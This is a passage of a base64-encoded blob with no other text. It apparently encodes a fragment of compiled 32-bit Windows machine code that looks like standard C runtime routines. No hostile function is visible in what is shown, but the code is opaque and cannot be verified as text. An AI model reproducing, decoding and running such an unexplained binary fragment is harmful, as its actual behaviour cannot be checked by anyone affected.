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/9Pni42g+P//C8eJhI0w/v//SYuFtPj//06D6ASJjaD4//+JhbT4//+D+f90CIudLP7//+uPi5Ws+P//i7Ww+P//hfZ0DIvOjb0w/v//M8Dzq4C9u/j//wC7zAEAAHQLjUIBiYUs/v//6zOJlSz+///rKzPAu8wBAABQiYWM+v//iYUs/v//jYWQ+v//UI2FMP7//1NQ6Dza//+DxBCDpZT6//8AM8lqBFhBiYWQ+v//iY2M+v//iY1c/P//UI2FkPr//1CNhWD8//9TUOgF2v//g8QQ6VwEAACLhbT4//8z0kCL+IPgH2ogWSvIiYWw+P//M8DB7wVAib20+P//iY2Q+P//6KBHAACLjJ0s/v//SIOlnPj//wAPvcmJhaj4///30ImFjPj//3QDQesCM8lqIFgrwY0UOzmFsPj//4mVoPj//w+XwIP6c4iFu/j//w+XwYP6c3UIhMB0BLAB6wIywITJD4XsAAAAhMAPheQAAABqclk70XIIi9GJjaD4//+LwomFrPj//4P6/w+EkwAAAIvyjY0w/v//i5W0+P//K/KNDLGJjaT4//87wnJnO/NzBIs56wIz/41G/zvDcwWLQfzrAjPAI72o+P//I4WM+P//i42w+P//0+eLjZD4///T6IuNpPj//wv4i4Ws+P//g+kEiY2k+P//ibyFMP7//0hOiYWs+P//g/j/dAiLnSz+///rlYuVoPj//4u9tPj//2oCXoX/dAyLzzPAjb0w/v//86uAvbv4//8Au8wBAAB0C41CAYmFLP7//+sziZUs/v//6yszwLvMAQAAUImFjPr//4mFLP7//42FkPr//1CNhTD+//9TUOhY2P//g8QQg6WU+v//ADPAQIm1kPr//4mFjPr//4mFXPz//2oE6Rn+//+B/gL8//8PhBkBAACDpZD6//8AagJZx4WU+v//AAAQAImNjPr//zvZD4X3AAAAM9KLhBWQ+v//O4QVMP7//w+F4QAAAIPCBIP6CHXkg6Wc+P//AA+9x3QFjVAB6wIz0mogWCvCi/E7wY2FOP7//4mFrPj//4v4D5KFu/j//zvzcwqLF4mVsPj//+sHg6Ww+P//AI1G/zvDcwWLV/zrAjPSi4Ww+P//g+8EweACweoeM9CLhaz4//9OiRCD6ASJhaz4//+D/v90CIudLP7//+utM8A4hbv4//8PlcADwSuNtPj//4v5iYUs/v//we8FjYWQ+v//i/eJjaj4///B5gJWagBQ6D1c//+Ljaj4//8zwECD4R/T4ImENZD6//+NRwHpQAEAAIuEnSz+//+DpZz4//8AD73AdAWNSAHrAjPJaiBYK8GD+AEPksCD+3OIhbv4//8Pl8GD+3N1CITAdASwAesCMsCEyQ+FmwAAAITAD4WTAAAAanJZO9lzAovLg/n/dGmNvTD+//+L8Y08j4m9rPj//zvzcwqLF4mVsPj//+sHg6Ww+P//AI1G/zvDcwWLV/zrAjPSi4Ww+P//g+8EA8DB6h8z0IuFrPj//06JEIPoBImFrPj//4P+/3QIi50s/v//666LtbT4//+Avbv4//8AdAuNQQGJhSz+///rM4mNLP7//+srg6WM+v//AI2FkPr//4OlLP7//wBqAFCNhTD+//9ozAEAAFDoAtb//4PEEDP/jYWQ+v//Ryv+i9/B6wWL88HmAlZqAFDo9Fr//zPAg+cfQIvP0+CJhDWQ+v//jUMBiYWM+v//u8wBAACJhVz8///B4AJQjYWQ+v//UI2FYPz//1NQ6KTV//+DxByLhZT4//8z0moKWYmNjPj//4XAD4hjBAAA9/GJhZD4//+LyomNnPj//4XAD4RxAwAAg/gmdgNqJlgPtgyFzn4BEA+2NIXPfgEQi/mJhaT4///B5wJXjQQxiYWM+v//jYWQ+v//agBQ6Eha//+LxsHgAlCLhaT4//8PtwSFzH4BEI0Ehch1ARBQjYWQ+v//A8dQ6G5N//+LjYz6//+DxBiJjaD4//+D+QF3eou9kPr//4X/dRMzwImFvPj//4mFXPz//+mfAgAAg/8BD4SuAgAAg71c/P//AA+EoQIAAIuFXPz//zPJiYWo+P//M/aLx/ektWD8//8DwYmEtWD8//+D0gBGi8o7taj4//914OmsAAAAiYyFYPz///+FXPz//+laAgAAg71c/P//AQ+HvgAAAIu9YPz//4vBweACUI2FkPr//4mNXPz//1CNhWD8//9TUOhK1P//g8QQhf91GjPAiYWM+v//iYVc/P//UI2FkPr//+n1AQAAg/8BD4T9AQAAg71c/P//AA+E8AEAAIuFXPz//zPJiYWo+P//M/aLx/ektWD8//8DwYmEtWD8//+D0gBGi8o7taj4//914IXJD4S4AQAAi4Vc/P//g/hzD4I9////M8CJhYz6//+JhVz8//9QjYWQ+v//6ewBAAA7jVz8//+NvZD6//8PksCEwA+FgwAAAI29YPz//42VkPr//4mVsPj//4TAdQaLjVz8//+Jjaz4//+EwHQMi4Vc/P//iYWg+P//M9Iz9omVvPj//4XJD4QRAQAAjYXA+P//K/iJvXz4//+NBLeLhAXA+P//iYWo+P//hcB1JTvyD4XeAAAAIYS1wPj//41WAYmVvPj//+nJAAAAjZVg/P//64EzwDP/i86JhbT4//85haD4//8PhJQAAACD+XN0VzvKdReDpI3A+P//AEADxomFvPj//4uFtPj//4uVsPj//4sEgvelqPj//wPHg9IAAYSNwPj//4uFtPj//4PSAEBBiYW0+P//i/qLlbz4//87haD4//91pIX/dDSD+XMPhLQAAAA7ynURg6SNwPj//wCNQQGJhbz4//+LxzP/AYSNwPj//4uVvPj//xP/QevIg/lzD4SAAAAAi718+P//i42s+P//RjvxD4X9/v//i8KJlVz8///B4AJQjYXA+P//UI2FYPz//1NQ6CbS//+DxBCwAYTAdGyLhZD4//8rhaT4//+JhZD4//8PhZX8//+LjZz4//+FyQ+EEwUAAIs8jWR/ARCF/3VdM8CJhZz2//+JhVz8//9Q6zozwImFnPb//4mFXPz//1CNhaD2//9QjYVg/P//U1DouNH//4PEEDLA65CDpZz2//8Ag6Vc/P//AGoAjYWg9v//UI2FYPz//+mhBAAAg/8BD4SiBAAAi4Vc/P//iYWc+P//hcAPhI4EAAAz9jPJi8f3pI1g/P//A8aJhI1g/P//g9IAQYvyO42c+P//deCF9g+EYgQAAIuFXPz//4P4cw+DS////4m0hWD8////hVz8///pQQQAAPfY9/GJhaz4//+LyomNqPj//4XAD4RMAwAAg/gmdgNqJlgPtgyFzn4BEA+2NIXPfgEQi/mJhbT4///B5wJXjQQxiYWM+v//jYWQ+v//agBQ6ONV//+LxsHgAlCLhbT4//8PtwSFzH4BEI0Ehch1ARBQjYWQ+v//A8dQ6AlJ//+LjYz6//+DxBiJjaD4//+D+QEPh5MAAACLvZD6//+F/3UaM8CJhZz2//+JhSz+//9QjYWg9v//6XICAACD/wEPhHoCAACDvSz+//8AD4RtAgAAi4Us/v//M8mJhZz4//8z9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyju1nPj//3XghckPhDUCAACLhSz+//+D+HMPg8QCAACJjIUw/v///4Us/v//6RQCAACDvSz+//8Bd3yLvTD+//+LwcHgAlCNhZD6//+JjSz+//9QjYUw/v//U1DozM///4PEEIX/D4Q9////g/8BD4TRAQAAg70s/v//AA+ExAEAAIuFLP7//zPJiYWc+P//M/aLx/ektTD+//8DwYmEtTD+//+D0gBGi8o7tZz4//914OlS////O40s/v//jb2Q+v//D5LAhMAPhYMAAACNvTD+//+NlZD6//+JlZD4//+EwHUGi40s/v//iY2w+P//hMB0DIuFLP7//4mFoPj//zPSM/aJlbz4//+FyQ+EEQEAAI2FwPj//yv4ib18+P//jQS3i4QFwPj//4mFnPj//4XAdSU78g+F3gAAACGEtcD4//+NVgGJlbz4///pyQAAAI2VMP7//+uBM8Az/4vOiYWk+P//OYWg+P//D4SUAAAAg/lzdFc7ynUXg6SNwPj//wBAA8aJhbz4//+LhaT4//+LlZD4//+LBIL3pZz4//8Dx4PSAAGEjcD4//+LhaT4//+D0gBAQYmFpPj//4v6i5W8+P//O4Wg+P//daSF/3Q0g/lzD4QKAQAAO8p1EYOkjcD4//8AjUEBiYW8+P//i8cz/wGEjcD4//+Llbz4//8T/0HryIP5cw+E1gAAAIu9fPj//4uNsPj//0Y78Q+F/f7//4vCiZUs/v//weACUI2FwPj//1CNhTD+//9TUOjqzf//g8QQsAGEwA+EwQAAAIuFrPj//yuFtPj//4mFrPj//w+Fuvz//4uNqPj//4XJD4TTAAAAiwSNZH8BEImFnPj//4XAD4SYAAAAg/gBD4S1AAAAi40s/v//hckPhKcAAAAz/zP296S1MP7//wPHiYS1MP7//4uFnPj//4PSAEaL+jvxdeCF/3R/i4Us/v//g/hzc06JvIUw/v///4Us/v//62UzwFCJhZz2//+JhSz+//+NhaD2//9QjYUw/v//U1DoJs3//4PEEDLA6Tf///+DpZz2//8Ag6Us/v//AGoA6w8zwFCJhSz+//+JhZz2//+NhaD2//9QjYUw/v//U1Do58z//4PEEIu9hPj//4v3i40s/v//ibW0+P//hcl0dzP2M/+LhL0w/v//agpa9+IDxomEvTD+//+D0gBHi/I7+XXhibWc+P//hfaLtbT4//90QouNLP7//4P5c3MRi8KJhI0w/v///4Us/v//6yYzwFCJhZz2//+JhSz+//+NhaD2//9QjYUw/v//U1DoWsz//4PEEIv+jYVc/P//UI2FLP7//1Do5en//1lZagpaO8IPhZEAAAD/hZT4//+NdwGLhVz8///GBzGJtbT4//+FwA+EiwAAADP/i/AzyYuEjWD8///34moKA8eJhI1g/P//g9IAQYv6WjvOdeGLtbT4//+F/3Rci4Vc/P//g/hzcw+JvIVg/P///4Vc/P//60IzwFCJhZz2//+JhVz8//+NhaD2//9QjYVg/P//U1Doqcv//4PEEOsahcB1CYuFlPj//0jrEwQwjXcBiAeJtbT4//+LhZT4//+LjYD4//+JQQSLjYj4//+FwHgKgfn///9/dwIDyItFHEg7wXICi8EDhYT4//+JhYj4//878A+E0wAAAIuFLP7//4XAD4TFAAAAM/+L8DPJi4SNMP7//7oAypo79+IDx4mEjTD+//+D0gBBi/o7znXfi7W0+P//hf90QIuFLP7//4P4c3MPibyFMP7///+FLP7//+smM8BQiYWc9v//iYUs/v//jYWg9v//UI2FMP7//1NQ6M3K//+DxBCNhVz8//9QjYUs/v//UOha6P//WVmLjYj4//9qCF8rzjPS97WM+P//gMIwO89yA4gUN0+D//916IP5CXYDaglZA/GJtbT4//87tYj4//8PhS3////GBgDrKmiofwEQ6xNooH8BEOsMaJh/ARDrBWiQfwEQ/3UcU+jgj///g8QMhcB1J4C9dPj//wBfXlt0DY2FbPj//1Do/hIAAFmLTfwzzejOMf//i+VdwzPAUFBQUFDovpr//8yL/1WL7Ff/dQzofbv//1mLTQyL+ItJDPbBBnUf6Eib///HAAkAAACLRQxqEFmDwAzwCQiDyP/p0wAAAItFDItADMHoDKgBdA3oHJv//8cAIgAAAOvSi0UMi0AMqAF0KItFDINgCACLRQyLQAzB6AOoAYtFDHS0i0gEiQiLRQxq/lmDwAzwIQiLRQxTagJbg8AM8AkYi0UMavdZg8AM8CEIi0UMg2AIAItFDItADKnABAAAdTNWi3UMagHoM2v//1k78HQOi3UMU+gla///WTvwdQtX6AQDAABZhcB1Cf91DOgOFQAAWV7/dQyLXQhT6DMBAABZWYTAdRGLRQxqEFmDwAzwCQiDyP/rAw+2w1tfXcOL/1WL7Ff/dQzobLr//1mLTQyL+ItJDPbBBnUh6Dea///HAAkAAACLRQxqEFmDwAzwCQi4//8AAOnVAAAAi0UMi0AMwegMqAF0DegJmv//xwAiAAAA69CLRQyLQAyoAXQoi0UMg2AIAItFDItADMHoA6gBi0UMdLKLSASJCItFDGr+WYPADPAhCItFDFNWagJbg8AM8AkYi0UMavdZg8AM8CEIi0UMg2AIAItFDItADKnABAAAdTGLdQxqAeggav//WTvwdA6LdQxT6BJq//9ZO/B1C1fo8QEAAFmFwHUJ/3UM6PsTAABZ/3UMi3UIVujtAAAAWVmEwHUTi0UMahBZg8AM8AkIuP//AADrAw+3xl5bX13Di/9Vi+xWV/91DOhWuf//WYtNDIvQi0kM9sHAD4SSAAAAi00MM/+LQQSLMSvwQIkBi0UMi0gYSYlICIX2fiaLRQxW/3AEUuiJ2P//g8QMi/iLRQyLSASKRQiIATPAO/4PlMDrZIP6/3Qbg/r+dBaLwovKg+A/wfkGa8AwAwSNyO4BEOsFuAjhARD2QCggdMFqAldXUuhpDwAAI8K